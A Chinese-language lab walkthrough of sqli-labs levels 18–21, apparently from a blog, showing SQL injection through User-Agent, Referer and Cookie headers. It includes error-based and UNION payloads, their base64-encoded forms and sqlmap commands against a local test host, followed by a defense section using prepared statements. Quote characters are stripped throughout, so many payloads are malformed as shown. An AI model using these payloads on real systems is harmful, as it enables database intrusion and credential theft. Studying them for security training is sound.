SQL-LABS_Less18-20实战攻略
SQL-LABS Less 18-21 实战攻略HTTP Header 注入进阶一、 Less-18User-Agent 注入初体验1.1 场景分析打开 Less-18http://192.168.43.8/sqli-labs-master/Less-18/页面提示你输入用户名和密码登录。先正常登录试试用户名admin密码admin登录成功后页面显示Your IP ADDRESS is: 192.168.43.8 Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...关键信息页面把你的User-Agent显示出来了这意味着后端很可能把 User-Agent 存进了数据库然后又查出来显示。如果插入的时候没过滤那就有注入点了。1.2 抓包改 User-Agent用 Burp Suite 抓登录请求POST 提交POST /sqli-labs-master/Less-18/ HTTP/1.1 Host: 192.168.43.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Type: application/x-www-form-urlencoded unameadminpasswdadminsubmitSubmit改 User-Agent 试试User-Agent: test发送请求页面报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near test, 192.168.43.8) at line 1分析错误信息多了一个单引号test后面还有192.168.43.8)推测 SQL 语句INSERTINTOxxxVALUES(admin,test, 192.168.43.8)所以闭合方式是单引号闭合 注释掉后面的内容1.3 构造 Payload思路先闭合前面的单引号插入注入语句报错注入and updatexml(1,concat(0x7e,database()),1)注释掉后面的内容--或#但这里有个坑INSERT 语句里不能直接用and得用逗号,分隔字段。正确 PayloadUser-Agent: admin, (select updatexml(1,concat(0x7e,database()),1)), 1解释admin闭合第一个字段的单引号, (select updatexml(...))插入报错注入到第二个字段, 1补齐后面的字段IP 地址那栏发送请求报错显示XPATH syntax error: ~security成功了数据库名是security1.4 继续注入查表名User-Agent: admin, (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)),1)), 1报错显示XPATH syntax error: ~emails,referers,uagents,users查 users 表的列名User-Agent: admin, (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers)),1)), 1报错显示XPATH syntax error: ~id,username,password查数据只显示一条User-Agent: admin, (select updatexml(1,concat(0x7e,(select concat(username,:,password) from users limit 0,1)),1)), 1报错显示XPATH syntax error: ~Dumb:Dumb1.5 完整注入流程总结步骤Payload结果1. 测试注入点test报错确认有注入2. 确定闭合方式admin, x, x不报错确认闭合3. 查数据库admin, (select updatexml(...,database(),...)), 1security4. 查表名...(select group_concat(table_name) from information_schema.tables where table_schemasecurity)...users等5. 查列名...(select group_concat(column_name) from information_schema.columns where table_nameusers)...username, password6. 查数据...(select concat(username,:,password) from users limit 0,1)...Dumb:Dumb二、Less-19Referer 注入2.1 场景分析Less-19 和 Less-18 基本一样只是注入点从User-Agent换成了Referer。页面登录后显示Your Referer is: http://192.168.43.8/sqli-labs-master/Less-18/2.2 抓包改 RefererBurp Suite 抓包修改 RefererPOST /sqli-labs-master/Less-19/ HTTP/1.1 Host: 192.168.43.8 Referer: test报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near test, 192.168.43.8) at line 1和 Less-18 一模一样闭合方式相同2.3 直接套用 Payload查数据库Referer: admin, (select updatexml(1,concat(0x7e,database()),1)), 1报错显示XPATH syntax error: ~security后面的流程和 Less-18 完全一样不再重复。2.4 User-Agent vs Referer字段含义常见值User-Agent浏览器标识Mozilla/5.0 (Windows NT 10.0...)Referer来源页面http://example.com/previous-page真实场景中的利用User-Agent网站统计系统、日志记录Referer防盗链检测、来源分析三、Less-20Cookie 注入3.1 场景分析Less-20 又升级了注入点在Cookie里。先正常登录用户名admin密码admin登录成功后Burp Suite 看到 CookieCookie: unameadmin页面显示Your Login name: admin3.2 测试注入点刷新页面登录后的页面Burp Suite 抓包改 CookieGET /sqli-labs-master/Less-20/ HTTP/1.1 Host: 192.168.43.8 Cookie: unameadmin报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near admin at line 1分析错误admin→ 多了两个单引号说明查询语句是SELECT ... WHERE usernameadmin闭合方式单引号闭合然后注释掉后面3.3 构造 Payload和前面不同这次是SELECT 语句不是 INSERT可以直接用and、union了测试闭合Cookie: unameadmin --不报错说明闭合成功报错注入查数据库Cookie: unameadmin and updatexml(1,concat(0x7e,database()),1)--报错显示XPATH syntax error: ~security联合查询注入判断列数Cookie: unameadmin order by 3--不报错 → 有 3 列Cookie: unameadmin order by 4--报错 → 只有 3 列查回显位置Cookie: unameadmin union select 1,2,3--页面显示Your Login name: 2 Your Password: 3回显位置是第 2、3 列3.4 注入数据查当前数据库Cookie: unameadmin union select 1,database(),3--显示security查表名Cookie: unameadmin union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity--显示emails,referers,uagents,users查 users 表的数据Cookie: unameadmin union select 1,group_concat(username,:,password),3 from users--显示Dumb:Dumb,Angelina:I-kill-you,Dummy:pssword,...成功拿到所有用户的账号密码3.5 Less-20 总结注入方法适用场景优势报错注入页面显示错误信息快速获取数据库名、表名联合查询页面有数据回显一次性导出大量数据Less-20 的 Cookie 注入是SELECT 语句所以可以用联合查询比 Less 18-19 的 INSERT 语句更灵活。四、Less-21Cookie 注入 base64 编码绕过4.1 场景分析Less-21 在 Less-20 的基础上加了一层编码Cookie 值经过 base64 编码。先正常登录用户名admin密码admin登录成功后Burp Suite 看到 CookieCookie: unameYWRtaW4%3D关键发现YWRtaW4%3D是 URL 编码后的 base64%3D就是解码YWRtaW4→ base64 解码 →admin后端逻辑$cookee$_COOKIE[uname];$cookeebase64_decode($cookee);// 先解码$sqlSELECT * FROM users WHERE username$cookee LIMIT 0,1;// 再查询所以注入点还在但我们的 payload 要先base64 编码才能放进 Cookie4.2 测试注入点直接改 Cookie 试试Cookie: unameadmin不报错因为adminbase64 解码后是乱码不会触发 SQL 语法错误。正确姿势先把 payload base64 编码测试 payloadadmin→ base64 编码YWRtaW4n→ 放入 CookieunameYWRtaW4n发送请求报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near admin at line 1确认有注入4.3 确定闭合方式测试闭合admin) --→ base64 编码YWRtaW4nKSAtLSs→ 放入 CookieunameYWRtaW4nKSAtLSs不报错但页面也没显示内容。再试试admin) #→ base64 编码YWRtaW4nKSAj→ 放入 CookieunameYWRtaW4nKSAj不报错说明闭合方式是) ... #单引号括号闭合4.4 报错注入查数据库原始 payload: admin) and updatexml(1,concat(0x7e,database()),1)# Base64 编码: YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkj 放入 Cookie: unameYWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkj报错显示XPATH syntax error: ~security查表名原始: admin) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)),1)# Base64: YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSksMSkj Cookie: unameYWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSksMSkj报错显示XPATH syntax error: ~emails,referers,uagents,users4.5 联合查询注入Less-21 也是 SELECT 语句可以用 union判断列数原始: admin) order by 3# Base64: YWRtaW4nKSBvcmRlciBieSAzIw Cookie: unameYWRtaW4nKSBvcmRlciBieSAzIw不报错 → 有 3 列原始: admin) order by 4# Base64: YWRtaW4nKSBvcmRlciBieSA0Iw Cookie: unameYWRtaW4nKSBvcmRlciBieSA0Iw报错 → 只有 3 列查回显位置原始: admin) union select 1,2,3# Base64: YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwyLDMj Cookie: unameYWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwyLDMj页面显示Your Login name: 2 Your Password: 3导出所有用户数据原始: admin) union select 1,group_concat(username,:,password),3 from users# Base64: YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSwzIGZyb20gdXNlcnMj Cookie: unameYWRtaW4nKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSwzIGZyb20gdXNlcnMj显示Dumb:Dumb,Angelina:I-kill-you,Dummy:pssword,...成功4.6 base64 编码小技巧在线编码https://www.base64encode.org/https://tool.oschina.net/encrypt?type3命令行编码# Linux / macOSecho-nadmin) union select 1,2,3#|base64# Windows PowerShell[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes(admin) union select 1,2,3#))Burp Suite 插件Decoder 标签 → 输入 payload → Encode as Base64右键 → Send to Decoder → 自动编码4.7 Less-21 总结对比项Less-20Less-21注入点Cookie (uname)Cookie (uname)编码无base64 编码闭合方式admin #admin) #多了括号注入方法报错/联合查询报错/联合查询难度★★★☆☆★★★★☆关键点发现 Cookie 值是 base64 编码 → 先解码看看是什么构造 payload 后必须 base64 编码再发送闭合方式变了多了括号需要重新测试五、HTTP Header 注入防御4.1 为什么会有这种注入开发者常见错误// Less-18 的源码简化版$uagent$_SERVER[HTTP_USER_AGENT];$sqlINSERT INTO uagents VALUES ($username, $uagent, $ip);mysql_query($sql);问题$_SERVER[HTTP_USER_AGENT]直接拼接到 SQL 语句没有任何过滤或转义4.2 正确的防御方法1. 预编译语句最安全$stmt$pdo-prepare(INSERT INTO uagents VALUES (?, ?, ?));$stmt-execute([$username,$uagent,$ip]);2. 转义特殊字符$uagentmysql_real_escape_string($_SERVER[HTTP_USER_AGENT]);3. 白名单过滤// Referer 只允许特定域名if(strpos($_SERVER[HTTP_REFERER],trusted-domain.com)false){die(Invalid referer);}4. 不要盲目信任 HTTP HeaderUser-Agent、Referer、Cookie 都是用户可控的和 URL 参数一样危险5. 对编码后的数据也要防护// Less-21 的正确写法$cookee$_COOKIE[uname];$cookeebase64_decode($cookee);// 解码后仍需预编译或转义$stmt$pdo-prepare(SELECT * FROM users WHERE username? LIMIT 0,1);$stmt-execute([$cookee]);六、实战技巧总结6.1 Less 18-21 对比关卡注入点SQL 语句类型闭合方式编码注入方法Less-18User-AgentINSERTadmin, ..., 1无报错注入Less-19RefererINSERTadmin, ..., 1无报错注入Less-20CookieSELECTadmin #无报错/联合查询Less-21CookieSELECTadmin) #base64报错/联合查询6.2 INSERT vs SELECT 注入的区别INSERT 语句Less 18-19不能用and、or、union只能用报错注入Payload 格式field1, (injection), field3SELECT 语句Less 20-21可以用and、or、union、order by报错注入、联合查询、布尔盲注都行Payload 格式admin and/union ...#6.3 编码绕过的思路常见编码方式base64Less-21admin→YWRtaW4URL 编码admin→admin%27十六进制admin→0x61646d696eUnicode 编码→发现编码的方法看 Cookie 值是否像乱码如YWRtaW4很可能是 base64尝试 base64 解码看看用 Burp Suite 的 Decoder 多试几种编码绕过思路后端先解码再拼接 SQL我们的 payload 要先编码让它解码后才是注入语句有时候需要双重编码先 base64 再 URL 编码6.4 Burp Suite 使用技巧快速修改 HeaderProxy → Intercept → 抓到包后右键 → Send to RepeaterRepeater 里改 User-Agent / Referer / Cookie点 Send 发送看 Response批量测试Send to Intruder选中 User-Agent 的值 → Add §Payloads 里加入注入语句列表Start Attack 批量发送Decoder 编码Decoder 标签输入 payload选择 Encode as… → Base64 / URL / Hex七、真实场景的思考7.1 这种注入常见吗非常常见日志系统记录 User-Agent 到数据库统计系统记录 Referer 分析流量来源会话管理Cookie 存用户名/ID然后查库防刷机制记录 IP User-Agent 判断是否机器人7.2 如何挖掘1. 找需要登录的功能登录后的页面可能会记录 User-Agent留言板、评论系统可能记录 IP 和 User-Agent2. 测试所有 HeaderUser-AgentRefererX-Forwarded-For代理IPCookieX-Real-IPCF-Connecting-IPCloudflare3. 看错误信息改 Header 后如果报 SQL 错误基本就有注入4. 注意编码Cookie 可能 base64 编码有些系统对 Header 做 URL 解码尝试多种编码组合7.3 SQLMAP 能跑吗能但要指定注入点Less-18User-Agentsqlmap-uhttp://192.168.43.8/sqli-labs-master/Less-18/\--dataunameadminpasswdadminsubmitSubmit\--headersUser-Agent: *\--dbsLess-20Cookiesqlmap-uhttp://192.168.43.8/sqli-labs-master/Less-20/\--cookieunameadmin*\--dbsLess-21Cookie base64sqlmap-uhttp://192.168.43.8/sqli-labs-master/Less-21/\--cookieuname*\--tamperbase64encode\--dbs注意*标记注入点--tamperbase64encode自动 base64 编码 payload八、总结SQL 注入不只在 URL 参数里HTTP HeaderUser-Agent、Referer、Cookie也能注入任何用户可控的输入都可能是注入点INSERT 和 SELECT 注入的区别INSERT 只能用报错注入Payload 格式特殊SELECT 可以用联合查询更灵活编码绕过base64、URL 编码等是常见的绕过手段构造 payload 前要先判断是否有编码Burp Suite 的 Decoder 是好帮手Burp Suite 的重要性HTTP Header 注入必须用抓包工具浏览器地址栏改不了 User-Agent 和 Referer防御要全面不只过滤 GET/POST 参数HTTP Header 也要转义或用预编译解码后的数据仍需防护免责声明本文仅用于授权渗透测试和安全学习请勿用于非法用途。

相关新闻

树莓派4英寸SPI LCD触摸屏驱动配置与性能优化全攻略

树莓派4英寸SPI LCD触摸屏驱动配置与性能优化全攻略

1. 项目概述:4英寸树莓派LCD触摸屏如果你手头有一块树莓派,想给它配个便携的“脸”,那么一块4英寸的LCD触摸屏绝对是绝佳选择。我最近上手了一块标着“4inch RPi LCD (A)”的屏幕,它尺寸小巧,分辨率480x800&#xff0c…

2026/8/2 3:07:38 阅读更多 →
本地搭建CentOS 7+Docker环境并使用XShell管理

本地搭建CentOS 7+Docker环境并使用XShell管理

一篇覆盖虚拟化、容器化与远程运维的动手指南阅读本文大约需要15分钟,完成后你将拥有一套完整的本地Linux开发环境。一、为什么还需要自己搭环境云服务器便宜,按量付费的ECS一小时几分钱。但云服务器有天然短板:依赖公网延迟、磁盘IO被邻居挤…

2026/8/2 3:07:38 阅读更多 →
深入解析GD32H7定时器通道控制寄存器:输出比较与输入捕获实战

深入解析GD32H7定时器通道控制寄存器:输出比较与输入捕获实战

1. 从“定时”到“交互”:为什么需要深入理解通道控制寄存器?在嵌入式开发里,定时器(Timer)大概是除了GPIO之外,工程师们打交道最多的外设之一了。从简单的延时、PWM输出,到复杂的电机控制、编码…

2026/8/2 3:07:38 阅读更多 →

最新新闻

ArcGIS高程图制作:从数据选择到高级渲染技巧

ArcGIS高程图制作:从数据选择到高级渲染技巧

1. 为什么你的高程图总是不够"高级"? 刚接触ArcGIS的新手常会遇到这样的困惑:明明按照教程一步步操作,生成的高程图却总是显得平淡无奇。这背后其实隐藏着三个常见误区: 数据源选择不当:很多人直接使用默认…

2026/8/3 5:07:29 阅读更多 →
基于OCR与机器学习的图片文字自动化提取、翻译与嵌入技术实践

基于OCR与机器学习的图片文字自动化提取、翻译与嵌入技术实践

你有没有遇到过这种情况:在网上找到一份特别有用的外文资料、一份精美的设计模板,或者一份急需的说明书,但偏偏是英文、日文或其他语言的?直接看吧,语言不通;用翻译软件吧,图片里的文字它不认识…

2026/8/3 5:07:29 阅读更多 →
移动储能在配电网抗台风中的优化与应用

移动储能在配电网抗台风中的优化与应用

1. 项目背景与核心价值去年参与某沿海城市配电网抗台风改造项目时,我深刻体会到传统固定式储能系统的局限性。当台风"梅花"导致城区多处配电线路中断时,尽管我们部署了分布式储能站,但由于灾害影响范围远超预期,储能资源…

2026/8/3 5:07:29 阅读更多 →
x86-64汇编从入门到精通

x86-64汇编从入门到精通

x86-64汇编从入门到精通 x86-64(也称AMD64或Intel 64)是目前个人电脑和服务器领域最主流的指令集架构。无论是进行底层性能优化、操作系统开发、逆向工程,还是深入理解计算机体系结构,掌握x86-64汇编都是一项关键技能。本文将系统…

2026/8/3 5:07:29 阅读更多 →
Python社交媒体网络分析:从爬虫到图计算实战

Python社交媒体网络分析:从爬虫到图计算实战

1. 社交媒体用户关系网络分析概述在当今数字化社会中,社交媒体平台已经成为人们建立联系、分享信息和互动交流的主要场所。这些平台每天产生海量的用户行为数据,其中用户之间的关注、点赞、评论等互动行为构成了复杂的社交网络结构。通过分析这些网络关系…

2026/8/3 5:07:28 阅读更多 →
APK Installer:在Windows上无缝安装安卓应用的智能解决方案

APK Installer:在Windows上无缝安装安卓应用的智能解决方案

APK Installer:在Windows上无缝安装安卓应用的智能解决方案 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 你是否曾经希望在Windows电脑上直接安装安卓应用…

2026/8/3 5:06:28 阅读更多 →

日新闻

3个让你工作效率翻倍的Umi-OCR实战技巧:免费离线文字识别完全指南

3个让你工作效率翻倍的Umi-OCR实战技巧:免费离线文字识别完全指南

3个让你工作效率翻倍的Umi-OCR实战技巧:免费离线文字识别完全指南 【免费下载链接】Umi-OCR OCR software, free and offline. 开源、免费的离线OCR软件。支持截屏/批量导入图片,PDF文档识别,排除水印/页眉页脚,扫描/生成二维码。…

2026/8/3 0:00:47 阅读更多 →
[具身智能-181]:PC+服务器+具身机器人:构建具身智能从仿真到量产的闭环迭代混合架构

[具身智能-181]:PC+服务器+具身机器人:构建具身智能从仿真到量产的闭环迭代混合架构

PC服务器具身机器人:构建具身智能从仿真到量产的闭环迭代混合架构一、前言:具身智能需要“混合算力闭环系统”传统人工智能依赖云端静态数据集训练,不具备物理交互能力,无法适应真实世界的不确定性。具身智能(Embodied…

2026/8/3 0:00:47 阅读更多 →
[具身智能-181]:大分布式通信模型对比:看懂为什么 DDS 是 ROS2 底层通信最优解

[具身智能-181]:大分布式通信模型对比:看懂为什么 DDS 是 ROS2 底层通信最优解

前言构建机器人、具身智能这类分布式实时系统,通信底座直接决定整套系统的实时性、容错性、组网能力。分布式领域长期存在 4 类经典通信架构:点对点模式、Broker 中间代理模式、广播模式、以数据为中心(DDS)模式。很多开发者疑惑&…

2026/8/3 0:00:47 阅读更多 →

周新闻

最大流算法详解:从水管网络到Ford-Fulkerson与Dinic实战

最大流算法详解:从水管网络到Ford-Fulkerson与Dinic实战

1. 从水管网络到最大流:一个核心问题的诞生想象一下,你是一个城市供水系统的总工程师。你的城市有多个水源(水库),需要通过一个复杂的地下管道网络,将水输送到各个居民区。每条管道都有其最大通水能力&…

2026/8/3 4:58:13 阅读更多 →
基于Springboot的企业门户网站(源码+LW+调试文档+讲解)

基于Springboot的企业门户网站(源码+LW+调试文档+讲解)

温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台…

2026/8/3 1:53:31 阅读更多 →
MATLAB xcorr函数详解:从互相关原理到四大实战应用

MATLAB xcorr函数详解:从互相关原理到四大实战应用

1. 从一次信号“找茬”说起:为什么我们需要互相关几年前,我在处理一组声学传感器数据时遇到了一个棘手的问题。我有两个麦克风记录了一段相同的音频信号,理论上它们接收到的声音波形应该非常相似,只是由于麦克风位置不同&#xff…

2026/8/3 4:36:35 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/2 6:34:16 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/2 2:47:48 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/2 0:23:22 阅读更多 →